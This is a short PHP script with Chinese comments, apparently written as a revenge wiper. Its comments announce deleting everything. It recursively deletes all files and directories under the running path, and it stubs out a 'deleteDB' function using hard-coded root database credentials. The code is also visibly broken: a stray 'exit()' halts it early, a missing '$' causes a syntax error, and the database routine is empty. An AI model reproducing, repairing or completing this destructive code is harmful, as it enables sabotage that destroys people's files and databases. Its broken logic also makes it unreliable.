1. //复仇的力量是很可怕的,所以无需指定数据库,全删!
    2. define('DB_USER', 'root');
    3. define('DB_PWD', 'root');
    4. define('DB_HOST', 'localhost');
    5. define('DB_PORT', '3216');
    6. define('DB_DAMAGE', true); //为false时,不碰数据库
    7. run();
    8. function run()
    9. {
    10. //删除文件
    11. deletedir();
    12. //删除数据库
    13. deleteDB();
    14. }
    15. function deletedir($dir = ''){
    16. if ($dir == '') {
    17. $dir = realpath('.');
    18. }
    19. echo $dir;
    20. exit();
    21. if(!handle=@opendir($dir)){ //检测要打开目录是否存在
    22. die("没有该目录");
    23. }
    24. while(false !==($file=readdir($handle))){
    25. if($file!=="."&&$file!==".."){ //排除当前目录与父级目录
    26. $file=$dir .DIRECTORY_SEPARATOR. $file;
    27. if(is_dir($file)){
    28. deletedir($file);
    29. }else{
    30. if(@unlink($file)){
    31. echo "文件<b>$file</b>删除成功。<br>";
    32. }else{
    33. echo "文件<b>$file</b>删除失败!<br>";
    34. }
    35. }
    36. }
    37. if(@rmdir($dir)){
    38. echo "目录<b>$dir</b>删除成功了。<br>\n";
    39. }else{
    40. echo "目录<b>$dir</b>删除失败!<br>\n";
    41. }
    42. }
    43. /**
    44. * 呵呵呵,删除数据库
    45. *
    46. * @return void
    47. **/
    48. function deleteDB()
    49. {
    50. if(DB_DAMAGE === true){
    51. //start
    52. }
    53. }